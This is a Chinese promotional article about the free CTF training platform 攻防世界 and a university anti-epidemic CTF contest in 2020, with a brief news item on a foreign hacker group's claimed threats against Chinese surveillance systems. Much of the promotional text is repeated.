疫情当前,诸多不安份子企图侵犯我国的网络空间。网络空间作为我国第五疆域,同样不可被侵犯!国际黑客组织虎视眈眈,信息安全形势越来越严峻,我们更要不断提升信息安全从业人员的技能,做到从核心提高防护能力。

让保障施于源头、让风险止于苗头。赛宁网安攻防世界持续免费向大家开放使用。攻防世界是一款将信息安全知识与游戏相结合的趣味性学习练习平台,融入多种场景在线题型,集实战、理论、趣味于一体。题目分为练习区和挑战区,可根据自己的实际需要进行刷题。目前,攻防世界被用户评为国内排名第一的CTF练习平台。

攻防世界涵盖四大主流功能:答题、竞赛、组队、排行榜

一、答题---通过在线练习,学习提高安全技术能力,开拓解题思路。
攻防世界题目涵盖六大类:misc、pwn、web、reverse、crypto、mobile,每类题目均分为新手区和练习区,真正实现0门口练习挑战。不仅可以进行答题练习,还可互相查看彼此上传的解题思路,通过查看WP,达到相互学习的效果。

二、竞赛---自助竞赛模式,依据需求自行定制赛事,通过竞赛进一步提升信息安全从业者的网络进攻和防御能力。
攻防世界可自行办理自助式竞赛,竞赛类型分为邀请赛和公开赛,参赛方式可分为个人赛和团队赛。任何用户都可根据自身需求在攻防世界上定制办理自助式竞赛。

三、组队---一个人学习进步慢?
在攻防世界里国内上百支知名战队齐聚,花样自由组队方式,可以加入别人队伍,也可自行创建属于你的队伍,无限制无要求。

四、排行榜---清晰了解学习情况。
排行榜细致分类,排名情况一目了然。
 
在“攻防世界”中,无论你是个人还是团体,都可以自主学习、共同交流、自助建赛;无论你是萌新小白还是安全大咖,都可以来攻防世界提升网络安全技能,为保护我国网络安全做出努力。攻防世界从学习网络安全知识到交流攻防经验,再到自助建赛练习技能都能满足你的需要。



 
疫情期间,大部分网络安全从业者还坚守在一线,保护着国家关键基础设施的安全,也有部分网络安全从业者一直持续不间断远程办公。作为一名信息安全从业者,我们不但要众志成城、抗击疫情,更要时刻提升自己的安全能力,守护保障好我国网络空间的安全。

赛宁网安在疫情防控期间,制定了客户服务规范,以保障在疫情期间为有需求的客户提供7*24小时远程安全服务保障。面对“疫”情,我们共同抗战,保家卫国,守护网络安全第一线!



疫情当前,我国的网络安全同样遭受着各种“挑衅”。继360安全大脑捕获印度APT组织对我国医疗机构发起定向攻击后,又有境外黑客组织在Twitter上发文,将于2月13日对我国国内部分公司和视频监控系统实施网络攻击行动。


 





该黑客组织声称已掌握我国境内大量摄像头的控制权限,并在某平台上公布了70余个视频监控设备信息。同时,扬言将攻击重点指向提供视频监控、面部识别等技术的公司并且“.gov.cn”的网站也将成为攻击目标。

疫情当前,诸多不安份子企图侵犯我国的网络空间。网络空间作为我国第五疆域,同样不可被侵犯!国际黑客组织虎视眈眈,信息安全形势越来越严峻,我们更要不断提升信息安全从业人员的技能,做到从核心提高防护能力。

让保障施于源头、让风险止于苗头。赛宁网安攻防世界持续免费向大家开放使用。攻防世界是一款将信息安全知识与游戏相结合的趣味性学习练习平台,融入多种场景在线题型,集实战、理论、趣味于一体。题目分为练习区和挑战区,可根据自己的实际需要进行刷题。目前,攻防世界被用户评为国内排名第一的CTF练习平台。

攻防世界涵盖四大主流功能:答题、竞赛、组队、排行榜

一、答题---通过在线练习,学习提高安全技术能力,开拓解题思路。
攻防世界题目涵盖六大类:misc、pwn、web、reverse、crypto、mobile,每类题目均分为新手区和练习区,真正实现0门口练习挑战。不仅可以进行答题练习,还可互相查看彼此上传的解题思路,通过查看WP,达到相互学习的效果。

二、竞赛---自助竞赛模式,依据需求自行定制赛事,通过竞赛进一步提升信息安全从业者的网络进攻和防御能力。
攻防世界可自行办理自助式竞赛,竞赛类型分为邀请赛和公开赛,参赛方式可分为个人赛和团队赛。任何用户都可根据自身需求在攻防世界上定制办理自助式竞赛。

三、组队---一个人学习进步慢?
在攻防世界里国内上百支知名战队齐聚,花样自由组队方式,可以加入别人队伍,也可自行创建属于你的队伍,无限制无要求。

四、排行榜---清晰了解学习情况。
排行榜细致分类,排名情况一目了然。
 
在“攻防世界”中,无论你是个人还是团体,都可以自主学习、共同交流、自助建赛;无论你是萌新小白还是安全大咖,都可以来攻防世界提升网络安全技能,为保护我国网络安全做出努力。攻防世界从学习网络安全知识到交流攻防经验,再到自助建赛练习技能都能满足你的需要。



 
疫情期间,大部分网络安全从业者还坚守在一线,保护着国家关键基础设施的安全,也有部分网络安全从业者一直持续不间断远程办公。作为一名信息安全从业者,我们不但要众志成城、抗击疫情,更要时刻提升自己的安全能力,守护保障好我国网络空间的安全。

赛宁网安在疫情防控期间,制定了客户服务规范,以保障在疫情期间为有需求的客户提供7*24小时远程安全服务保障。面对“疫”情,我们共同抗战,保家卫国,守护网络安全第一线!



2020年伊始,新冠疫情时刻牵动全国人民的心,在这场战“疫”中,全国人民与新冠病毒疫情展开了一场争分夺秒的较量。目前这场战“疫”已到了攻坚战阶段,各行各业都在用自己的力量坚守职责,全力支援这场全民疫情防控战。

安全客.jpg

作为网络空间安全专业的学子们,受疫情影响无法返回校园读书。为了减少疫情对同学们的影响,持续营造网络安全良好学习氛围环境。中国网络空间安全人才教育联盟、XCTF国际联赛联合29所高校共同发起——不负韶华 · 共克时艰,高校战“疫”网络安全分享赛活动



高校集结    同心抗“疫”    聚力网安

每个有责任感、有爱心的公民都是疫情防控中的一份子。同样每个有责任感、有使命感的白帽极客都是保障网络安全链条上的一环。不断学习提升网络安全技术能力,在网络安全防线上汇聚你们的力量。

29所高校携手联合深度参与高校战“疫”网络安全分享赛活动,所有题目均由高校所属战队提供题目类型包含Pwn、Web security、Crypto、Reverse engineering、Misc等。高质量多元化的赛题、公平公正的赛事规则,这是一场抗“疫”赛事,一场分享赛事,更多的这将是一场大范围提升网安学子安全技能的赛事。

万般皆下品,惟有读书高。本次活动冠军还将获得第六届XCTF总决赛的第一张入场券让我们拭目以待。

赛宁网安作为本次活动的技术支撑单位,愿为抗“疫”出力,为培养最强大的网安防护武器尽职尽责。


不负韶华·共克时艰

高校战“疫”网络安全分享赛

比赛时间

3月7日09:00am--3月9日09:00am

比赛地址

http://gxzy.xctf.org.cn


扫描加入攻防世界开始新征程



在高校战“疫”网络安全分享赛活动中你们就是网络安全行业中站在无影灯下的英雄,怀抱电脑、手持键盘,来“战斗”吧,为更好的守护网络安全而“战”。让我们同心抗“疫”,聚力网安。